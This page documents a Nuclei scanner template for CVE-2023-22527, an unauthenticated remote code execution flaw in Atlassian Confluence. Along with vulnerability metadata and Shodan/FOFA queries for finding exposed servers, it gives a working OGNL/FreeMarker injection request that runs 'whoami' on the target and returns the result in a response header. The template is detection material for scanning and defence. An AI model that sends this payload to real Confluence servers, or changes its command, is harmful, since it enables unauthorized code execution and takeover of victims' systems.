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Atlassian Confluence - Remote Code Execution

ID: CVE-2023-22527

Severity: critical

Author: iamnooob,rootxharsh,pdresearch

Tags: packetstorm,cve,cve2023,confluence,rce,ssti,kev,atlassian

Description

Section titled “Description”

A template injection vulnerability on older versions of Confluence Data Center and Server allows an unauthenticated attacker to achieve RCE on an affected instance. Customers using an affected version must take immediate action.Most recent supported versions of Confluence Data Center and Server are not affected by this vulnerability as it was ultimately mitigated during regular version updates. However, Atlassian recommends that customers take care to install the latest version to protect their instances from non-critical vulnerabilities outlined in Atlassian’s January Security Bulletin.

YAML Source

Section titled “YAML Source”
id: CVE-2023-22527


info:
  name: Atlassian Confluence - Remote Code Execution
  author: iamnooob,rootxharsh,pdresearch
  severity: critical
  description: |
    A template injection vulnerability on older versions of Confluence Data Center and Server allows an unauthenticated attacker to achieve RCE on an affected instance. Customers using an affected version must take immediate action.
    Most recent supported versions of Confluence Data Center and Server are not affected by this vulnerability as it was ultimately mitigated during regular version updates. However, Atlassian recommends that customers take care to install the latest version to protect their instances from non-critical vulnerabilities outlined in Atlassian’s January Security Bulletin.
  reference:
    - https://confluence.atlassian.com/pages/viewpage.action?pageId=1333335615
    - https://jira.atlassian.com/browse/CONFSERVER-93833
    - https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/
    - http://packetstormsecurity.com/files/176789/Atlassian-Confluence-SSTI-Injection.html
    - https://github.com/ramirezs4/Tips-and-tools-forensics---RS4
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-22527
    cwe-id: CWE-74
    epss-score: 0.97459
    epss-percentile: 0.99955
    cpe: cpe:2.3:a:atlassian:confluence_data_center:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: atlassian
    product: confluence_data_center
    shodan-query:
      - http.component:"Atlassian Confluence"
      - http.component:"atlassian confluence"
    fofa-query: app="atlassian-confluence"
  tags: packetstorm,cve,cve2023,confluence,rce,ssti,kev,atlassian


http:
  - raw:
      - |+
        POST /template/aui/text-inline.vm HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate, br
        Content-Type: application/x-www-form-urlencoded


        label=aaa\u0027%2b#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.poc[0],{})%2b\u0027&[email protected]@getResponse().setHeader(\u0027x_vuln_check\u0027,(new+freemarker.template.utility.Execute()).exec({"whoami"}))


    matchers:
      - type: dsl
        dsl:
          - x_vuln_check != "" # check for custom header key exists
          - contains(to_lower(body), 'empty{name=')
        condition: and


    extractors:
      - type: dsl
        dsl:
          - x_vuln_check # prints the output of whoami
# digest: 4a0a0047304502206b0e4792748f598cfa46aec25c297a9d042f97039c298a8d53c35adad9f9f98a022100bce7b2ec2b4a62030106a0ba73b95d72ce4f2a656d138cd1717313d8764236ad:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-22527.yaml"

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